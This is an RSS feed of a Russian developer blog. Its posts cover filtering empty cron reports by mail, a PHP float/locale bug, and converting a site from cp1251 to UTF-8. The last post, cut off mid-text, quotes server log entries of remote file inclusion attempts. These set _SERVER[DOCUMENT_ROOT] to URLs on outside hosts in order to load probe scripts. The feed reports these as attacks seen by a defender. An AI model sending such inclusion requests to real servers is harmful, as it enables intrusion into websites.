<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>заметки на полях &#187; php</title>
	<atom:link href="http://svdev.ru/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://svdev.ru</link>
	<description>Блокнот разработчика</description>
	<lastBuildDate>Thu, 08 Dec 2011 11:40:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Упрощение отслеживания отработанных по крону скриптов</title>
		<link>http://svdev.ru/blog/php-cron-spy/</link>
		<comments>http://svdev.ru/blog/php-cron-spy/#comments</comments>
		<pubDate>Thu, 06 Oct 2011 07:54:14 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=653</guid>
		<description><![CDATA[Пожалуй в любом более менее крупном проекте возникает необходимость выполнения заданий по крону, т. е. независимо от действий пользователей с определенной периодичностью. Совершенно определенно что результат выполнения скриптов необходимо отслеживать, что бы вовремя узнать о возникшей проблеме. Самый простой вариант, это генерация отчета о работе или ошибки в скрипте и отправке из крона на почту, [...]]]></description>
			<content:encoded><![CDATA[<p>Пожалуй в любом более менее крупном проекте возникает необходимость выполнения заданий по крону, т. е. независимо от действий пользователей с определенной периодичностью. Совершенно определенно что результат выполнения скриптов необходимо отслеживать, что бы вовремя узнать о возникшей проблеме. Самый простой вариант, это генерация отчета о работе или ошибки в скрипте и отправке из крона на почту, как то так (из крона, а не из скрипта потому что <strong>fatal error</strong> на почту из скрипта не придет):</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">17</span> <span style="color: #000000;">3</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> www-data <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php5-cgi <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>cron<span style="color: #000000; font-weight: bold;">/</span>user_rating.php <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> mail <span style="color: #660033;">-s</span> <span style="color: #ff0000;">&quot;Пересчет рейтинга пользователей&quot;</span> mail<span style="color: #000000; font-weight: bold;">@</span>example.com</div></div>
<p>В итоге на почту периодически будут сваливаться отчеты вида:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">X-Powered-By: PHP<span style="color: #000000; font-weight: bold;">/</span>5.2.6-<span style="color: #000000;">1</span>+lenny13<br />
Content-type: text<span style="color: #000000; font-weight: bold;">/</span>html<br />
<br />
Начало: <span style="color: #000000;">2011</span>-<span style="color: #000000;">10</span>-03 03:<span style="color: #000000;">17.01</span><br />
<br />
... сгенерированные данные о проделанной работе ...<br />
<br />
Окончание: <span style="color: #000000;">2011</span>-<span style="color: #000000;">10</span>-03 03:<span style="color: #000000;">17.01</span></div></div>
<p>Все хорошо. Но иногда бывает что дергать такие скрипты необходимо часто (дабы избежать задержки), а вот что-то делать они будут далеко не всегда, т. е. попросту запускаться, смотреть что ничего делать не надо генерит пустой отчет и все. А вот когда этих скриптов становится много, то наступает такой момент когда только просмотреть отчеты на почте занимает неприлично много времени, потом это надоедает и отчеты просто не просматриваясь удаляются. Теряется смысл вообще всех этих отчетов.<br />
Выход нашелся в следующем. При отсутствии действий в скрипте не генерировать пустой отчет, т. е. не выводить ничего, а по крону смотреть, что если в выхлопе только три строки:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">X-Powered-By: PHP<span style="color: #000000; font-weight: bold;">/</span>5.2.6-<span style="color: #000000;">1</span>+lenny13<br />
Content-type: text<span style="color: #000000; font-weight: bold;">/</span>html</div></div>
<p>то на почту ничего отправлять не надо.<br />
Делаем скрипт <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php_cron.sh</span></code>:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<br />
<span style="color: #007800;">strtocut</span>=<span style="color: #000000;">3</span><br />
<span style="color: #666666; font-style: italic;"># минимальная длина на всякий случай, может лишний перенос закрадется</span><br />
<span style="color: #007800;">minlen</span>=<span style="color: #000000;">10</span><br />
<br />
<span style="color: #007800;">line</span>=<span style="color: #000000;">1</span><br />
<span style="color: #000000; font-weight: bold;">while</span> <span style="color: #c20cb9; font-weight: bold;">read</span> INPUT; <span style="color: #000000; font-weight: bold;">do</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$line</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$strtocut</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #007800;">OUTPUT</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">${OUTPUT}</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #007800;">${INPUT}</span>&quot;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">fi</span><br />
&nbsp; &nbsp; <span style="color: #007800;">line</span>=<span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">expr</span> <span style="color: #007800;">$line</span> + <span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">`</span><br />
<span style="color: #000000; font-weight: bold;">done</span><br />
<br />
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">expr</span> length <span style="color: #ff0000;">&quot;<span style="color: #007800;">$OUTPUT</span>&quot;</span><span style="color: #000000; font-weight: bold;">`</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$minlen</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span><br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #007800;">$OUTPUT</span> <span style="color: #000000; font-weight: bold;">|</span> mail <span style="color: #660033;">-s</span><span style="color: #ff0000;">&quot;$2&quot;</span> <span style="color: #007800;">$1</span><br />
<span style="color: #000000; font-weight: bold;">fi</span></div></div>
<p>даем ему права на выполнение</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666;">$ </span><span style="color: #c20cb9; font-weight: bold;">chmod</span> +x <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php_cron.sh</div></div>
<p>и изменяем задание в кроне следующим образом:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000;">17</span> <span style="color: #000000;">8</span> &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> <span style="color: #000000; font-weight: bold;">*</span> www-data <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php5-cgi <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>project<span style="color: #000000; font-weight: bold;">/</span>cron<span style="color: #000000; font-weight: bold;">/</span>paid_notifier.php <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span>php-cron.sh mail<span style="color: #000000; font-weight: bold;">@</span>example.com <span style="color: #ff0000;">&quot;Отправка уведомлений об окончании услуг&quot;</span></div></div>
<p>Теперь на почту будут приходить только сообщения о проделанной работе, а о том что делать было нефиг нас не потревожат.</p>
<p>P/S С удовольствием приму вариант более элегантного решения. <img src='http://svdev.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/php-cron-spy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как float зависит от локали?!</title>
		<link>http://svdev.ru/blog/float-setlocale-relation/</link>
		<comments>http://svdev.ru/blog/float-setlocale-relation/#comments</comments>
		<pubDate>Sat, 06 Feb 2010 12:59:46 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=462</guid>
		<description><![CDATA[На такой казалось бы элементарный вопрос далеко не тривиальный ответ, и столкнувшись с ним может пострадать не один монитор или клавиатура от нелепости ситуации, мне повезло &#8211; я вовремя нагуглил правильный ответ Теперь собственно к делу. Вот код и ожидаемый результат его выполнения: $float = &#34;3.14&#34;; echo $float; // 3.14 echo floatval&#40;$float&#41;; // 3.14 У [...]]]></description>
			<content:encoded><![CDATA[<p>На такой казалось бы элементарный вопрос далеко не тривиальный ответ, и столкнувшись с ним может пострадать не один монитор или клавиатура от нелепости ситуации, мне повезло &#8211; я вовремя нагуглил правильный ответ <img src='http://svdev.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Теперь собственно к делу.  Вот код и ожидаемый результат его выполнения:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$float</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;3.14&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$float</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 3.14</span><br />
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/floatval"><span style="color: #990000;">floatval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$float</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 3.14</span></div></div>
<p>У меня же получился другой вариант, от которого я честно говоря подвис:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000088;">$float</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;3.14&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$float</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 3.14</span><br />
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/floatval"><span style="color: #990000;">floatval</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$float</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 3,14</span></div></div>
<p>Выяснилось что результат зависит от установки локали, у меня стояло: <code class="codecolorer php default"><span class="php"><a href="http://www.php.net/setlocale"><span style="color: #990000;">setlocale</span></a><span style="color: #009900;">&#40;</span>LC_ALL<span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;ru_RU.UTF8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></span></code> пока остановился на таком варианте:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><a href="http://www.php.net/setlocale"><span style="color: #990000;">setlocale</span></a><span style="color: #009900;">&#40;</span>LC_CTYPE<span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;ru_RU.utf8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<a href="http://www.php.net/setlocale"><span style="color: #990000;">setlocale</span></a><span style="color: #009900;">&#40;</span>LC_TIME<span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;ru_RU.utf8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></div>
<p>PHP у меня <strong>5.2.10</strong>, а баг сей я так понимаю тащится аж с 2002 года версии <strong>4.3.0 RC2</strong>: <a href="http://bugs.php.net/bug.php?id=17079">Bug #17079 setlocale changes the internal representation of floats</a></p>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/float-setlocale-relation/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Перевод сайта c cp1251 на UTF-8</title>
		<link>http://svdev.ru/blog/site-convert-from-cp1251-to-utf8/</link>
		<comments>http://svdev.ru/blog/site-convert-from-cp1251-to-utf8/#comments</comments>
		<pubDate>Wed, 13 Jan 2010 18:57:03 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/?p=429</guid>
		<description><![CDATA[Для начала перевести БД из cp1251 в utf8. Сделать дамп mysqldump -u svd -n --skip-opt --skip-set-charset --triggers --disable-keys svdev &#62; dump.sql &#8211; получится чистый дамп без упаминания кодировок, можно получить отдельно данные: mysqldump -u svd -nt --skip-opt --skip-set-charset --disable-keys svdev &#62; data.sql, поменять кодировку полей в схеме, вместо: name VARCHAR&#40;64&#41; CHARACTER SET cp1251 NOT NULL [...]]]></description>
			<content:encoded><![CDATA[<p>Для начала перевести БД из cp1251 в utf8.<br />
Сделать дамп <code class="codecolorer sql default"><span class="sql">mysqldump <span style="color: #66cc66;">-</span>u svd <span style="color: #66cc66;">-</span>n <span style="color: #808080; font-style: italic;">--skip-opt --skip-set-charset --triggers --disable-keys svdev &gt; dump.sql</span></span></code> &#8211; получится чистый дамп без упаминания кодировок, можно получить отдельно данные: <code class="codecolorer sql default"><span class="sql">mysqldump <span style="color: #66cc66;">-</span>u svd <span style="color: #66cc66;">-</span>nt <span style="color: #808080; font-style: italic;">--skip-opt --skip-set-charset --disable-keys svdev &gt; data.sql</span></span></code>, поменять кодировку полей в схеме, вместо:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">name <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">64</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">CHARACTER</span> <span style="color: #993333; font-weight: bold;">SET</span> cp1251 <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span></div></div>
<p>сделать</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">name <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">64</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">CHARACTER</span> <span style="color: #993333; font-weight: bold;">SET</span> utf8 <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span></div></div>
<p>или же убрать упоминание кодировки из полей вовсе:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">name <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">64</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">NOT</span> <span style="color: #993333; font-weight: bold;">NULL</span></div></div>
<p>так как при установке правильной кодировки для БД кодировки для текстовых полей создаваемых таблиц будут устанавливаться верно сами, затем изменить кодировку самой БД:</p>
<div class="codecolorer-container sql vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="sql codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #993333; font-weight: bold;">ALTER</span> <span style="color: #993333; font-weight: bold;">DATABASE</span> svdev <span style="color: #993333; font-weight: bold;">DEFAULT</span> <span style="color: #993333; font-weight: bold;">CHARACTER</span> <span style="color: #993333; font-weight: bold;">SET</span> utf8 <span style="color: #993333; font-weight: bold;">COLLATE</span> utf8_general_ci</div></div>
<p>и залить назад в обратном порядке &#8211; сначала структуру, затем данные.<br />
Следующим шагом необходимо изменить кодировку файлов, для этого я набросал простенький скрипт (подключаемые библиотеки которые трогать не надо &#8211; типа tiny просто вынес сначала из проекта, а затем вернул обратно:<span id="more-429"></span></p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#!/bin/sh</span><br />
<span style="color: #000000; font-weight: bold;">for</span> FILE <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">`</span><span style="color: #c20cb9; font-weight: bold;">find</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>www<span style="color: #000000; font-weight: bold;">/</span>svdev<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">egrep</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">&quot;\.(php|html)$&quot;</span><span style="color: #000000; font-weight: bold;">`</span><br />
<span style="color: #000000; font-weight: bold;">do</span><br />
iconv <span style="color: #660033;">-f</span> cp1251 <span style="color: #660033;">-t</span> utf8 <span style="color: #007800;">$FILE</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #007800;">$FILE</span><span style="color: #ff0000;">&quot;.utf&quot;</span><br />
<span style="color: #c20cb9; font-weight: bold;">mv</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$FILE</span><span style="color: #ff0000;">&quot;.utf&quot;</span> <span style="color: #007800;">$FILE</span><br />
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$FILE</span><span style="color: #ff0000;">&quot; - work complete&quot;</span><br />
<span style="color: #000000; font-weight: bold;">done</span></div></div>
<p>Он в заданной директории файлы по маске .php и .html перекодирует в UTF используя утилиту iconv во временный файл, а затем перезаписывает исходный файл временным.<br />
Следующим шагом убедимся в правильной настройке mb_ функций PHP. Для этого создадим файлик <code class="codecolorer bash default"><span class="bash"><span style="color: #c20cb9; font-weight: bold;">vim</span> strtest.php</span></code> и положим в него следующее содержимое:</p>
<div class="codecolorer-container php vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?</span><br />
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;мама мыла раму&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/mb_strlen"><span style="color: #990000;">mb_strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;мама мыла раму&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <a href="http://www.php.net/mb_strlen"><span style="color: #990000;">mb_strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;мама мыла раму&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;UTF-8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></div>
<p>Правильная длина строки &#8211; 14 символов. Выполним его из консоли: <code class="codecolorer bash default"><span class="bash">php5-cgi strtest.php</span></code> В начале у меня получилось следующее:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">X-Powered-By: PHP<span style="color: #000000; font-weight: bold;">/</span>5.2.10-2ubuntu6.3<br />
Content-type: text<span style="color: #000000; font-weight: bold;">/</span>html<br />
<br />
<span style="color: #000000;">26</span><br />
<span style="color: #000000;">26</span><br />
<span style="color: #000000;">14</span></div></div>
<p>Для исправления &#8211; установим верные значения в <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>php5<span style="color: #000000; font-weight: bold;">/</span>cgi<span style="color: #000000; font-weight: bold;">/</span>php.ini</span></code> и <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>php5<span style="color: #000000; font-weight: bold;">/</span>cli<span style="color: #000000; font-weight: bold;">/</span>php.ini</span></code>, для этого по файлу надо поискать <strong>encoding</strong> и <strong>charset</strong><br />
Нашлись следующие параметры:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">default_charset = <span style="color: #ff0000;">&quot;UTF-8&quot;</span><br />
...<br />
mbstring.language = Russian<br />
mbstring.internal_encoding = UTF-<span style="color: #000000;">8</span></div></div>
<p>Теперь при повторном выполнении теста <code class="codecolorer bash default"><span class="bash">php5-cgi strtest.php</span></code> второе значение без указания кодировки должно совпасть с первым и появиться кодировка по умолчанию:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">X-Powered-By: PHP<span style="color: #000000; font-weight: bold;">/</span>5.2.10-2ubuntu6.3<br />
Content-type: text<span style="color: #000000; font-weight: bold;">/</span>html; <span style="color: #007800;">charset</span>=UTF-<span style="color: #000000;">8</span><br />
<br />
<span style="color: #000000;">26</span><br />
<span style="color: #000000;">14</span><br />
<span style="color: #000000;">14</span></div></div>
<p>Так же не лишним будет в конфиге проекта указать верно локаль, к примеру <code class="codecolorer php default"><span class="php"><a href="http://www.php.net/setlocale"><span style="color: #990000;">setlocale</span></a><span style="color: #009900;">&#40;</span>LC_ALL<span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;ru_RU.utf8&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></span></code> список доступных локалей в системе можно посмотреть <code class="codecolorer bash default"><span class="bash">locale <span style="color: #660033;">-a</span></span></code> (ну и на всякий случай проверить что с новой локалью не будет багов, подробнее здесь: <a href="http://svdev.ru/blog/float-setlocale-relation/">Как float зависит от локали?!</a> )<br />
Указать кодировку в настройках nginx для нужного сайта <code class="codecolorer bash default"><span class="bash"><span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>nginx<span style="color: #000000; font-weight: bold;">/</span>sites-available<span style="color: #000000; font-weight: bold;">/</span>svdev</span></code>:</p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">server <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
...<br />
&nbsp; &nbsp; &nbsp; &nbsp; charset &nbsp; &nbsp; &nbsp; &nbsp; UTF-<span style="color: #000000;">8</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; source_charset &nbsp;UTF-<span style="color: #000000;">8</span>;<br />
...<br />
<span style="color: #7a0874; font-weight: bold;">&#125;</span></div></div>
<p>Ну и самая нудная часть &#8211; пройтись по проекту и заменить функции работы со строками на их <strong>mb_</strong> аналоги, в используемые регулярные выражения добавить модификатор <strong>u</strong> и если отправляются где-то письма &#8211; изменить кодировку писем.<br />
Ну вот вроде и все! Перед всеми манипуляциями неплохо бы сделать резервную копию файлов и БД, на всякий случай.</p>
<h3>Дополнительное чтиво</h3>
<ul>
<li><a href="http://sysoev.ru/nginx/docs/http/ngx_http_charset_module.html" target="_blank">Директивы модуля ngx_http_charset_module</a></li>
<li><a href="http://ru2.php.net/manual/en/function.setlocale.php" target="_blank">PHP &#8211; Set locale information</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://svdev.ru/blog/site-convert-from-cp1251-to-utf8/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Hacking часть II</title>
		<link>http://svdev.ru/blog/hacking-part-2/</link>
		<comments>http://svdev.ru/blog/hacking-part-2/#comments</comments>
		<pubDate>Tue, 29 Dec 2009 16:18:14 +0000</pubDate>
		<dc:creator>Дерябин Сергей</dc:creator>
				<category><![CDATA[неразобранное]]></category>
		<category><![CDATA[hack attempt]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://svdev.ru/blog/hacking-%d1%87%d0%b0%d1%81%d1%82%d1%8c-ii/</guid>
		<description><![CDATA[Продолжаю серию забавных вещей из логов: client: 188.126.37.18, server: ***, request: &#34;GET ////?_SERVER[DOCUMENT_ROOT]=http://photoworld.com.ua////zfxid1.txt?? Файлик zfxid1.txt следующего содержания: zfxid.txt &#60;?php /* ZFxID */ echo&#40;&#34;Shiro&#34;.&#34;Hige&#34;&#41;; die&#40;&#34;Shiro&#34;.&#34;Hige&#34;&#41;; /* ZFxID */ ?&#62; Дальше интересней client: 89.38.128.140, server: ***, request: &#34;GET /easy-git//?_SERVER[DOCUMENT_ROOT]=http://hiiraginao.com//test.gif?? client: 89.38.128.140, server: ***, request: &#34;GET //?_SERVER&#91;DOCUMENT_ROOT&#93;=http://hiiraginao.com//test.gif?? Файлик test.gif следующего содержания: &#60;!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 4.0 Transitional//EN&#34;&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>Продолжаю серию забавных вещей из логов:<span id="more-422"></span></p>
<div class="codecolorer-container bash vibrant" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">client: 188.126.37.18, server: <span style="color: #000000; font-weight: bold;">***</span>, request: <span style="color: #ff0000;">&quot;GET ////?_SERVER[DOCUMENT_ROOT]=http://photoworld.com.ua////zfxid1.txt??</span></div></div>
<p>Файлик zfxid1.txt следующего содержания:</p>
